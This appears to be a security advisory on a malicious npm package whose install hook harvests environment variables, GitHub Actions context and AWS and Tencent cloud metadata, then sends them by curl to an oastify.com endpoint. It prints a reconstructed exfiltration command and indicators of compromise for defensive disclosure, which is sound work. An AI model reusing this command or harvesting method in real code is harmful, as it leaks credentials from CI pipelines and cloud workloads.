GCVE-110-OSM-2026-9245

This package is an unambiguous supply-chain attack designed to exfiltrate environment data from CI/CD pipelines and cloud environments. The postinstall.js script runs on install, executes a shell command that collects hostname, username, process tree, full environment variables (filtered to exclude npm noise), GitHub Actions context variables (GITHUB_REPOSITORY, GITHUB_ACTOR, GITHUB_RUN_ID, RUNNER_NAME), and cloud metadata probe responses from both AWS IMDS (169.254.169.254) and Tencent Cloud metadata endpoints, base64-encodes the bundle, and exfiltrates it via curl to the OAST endpoint pzs5w7ntzhsnepwk564lyfdci3oucl0a.oastify.com. The attacker model is a CI/CD credential and environment harvester targeting GitHub Actions runners and cloud workloads. The Chinese-language comment '精简溯源版 — 核心信息 + 完整 ENV' ('streamlined tracing version — core info + full ENV') confirms deliberate authorship of a reconnaissance payload. The publisher account is less than 2 hours old with 12 packages published simultaneously, a classic burst pattern for a malicious campaign. ENTRY postinstall.js (install-hook: node postinstall.js) - Install Hook Executes Local JS File in package.json DESTINATION - reconstructed: data=$({ ${...}; } | base64 -w0 2>/dev/null || { ${...}; } | base64 2>/dev/null | tr -d '\n'); curl -s "http://pzs5w7ntzhsnepwk564lyfdci3oucl0a.oastify.com/z?d=$data" (primary, reconstructed) - custom-c2: http://metadata.tencentyun.com/latest/meta-data/ (plaintext) in postinstall.js - custom-c2: http://169.254.169.254/latest/meta-data/ (plaintext) in postinstall.js - custom-c2: pzs5w7ntzhsnepwk564lyfdci3oucl0a.oastify.com (plaintext) in postinstall.js EXFIL - OAST/Interactsh Exfiltration in postinstall.js: "oastify.com" - Suspicious Domain in postinstall.js: "oastify.com" OBFUSCATION - recovered 1 urls from decoded/deobfuscated content ADDITIONAL FINDINGS - Shell Command Execution in postinstall.js: "require('child_process')" - Suspicious URL Pattern in Template Literal in postinstall.js: "data=$({ ${...}; } | base64 -w0 2>/dev/null || { ${...}; } | base64 2>/dev/null ..." - Brand New Package - Very New NPM Publisher Account PAYLOAD FILES postinstall.js INDICATORS (IOCs) - payloadFileHash: 5826f6884581fbfa40d0793ff4c4b6f3b4e5e0a704bfd87bf7c4e3ec274b2ec9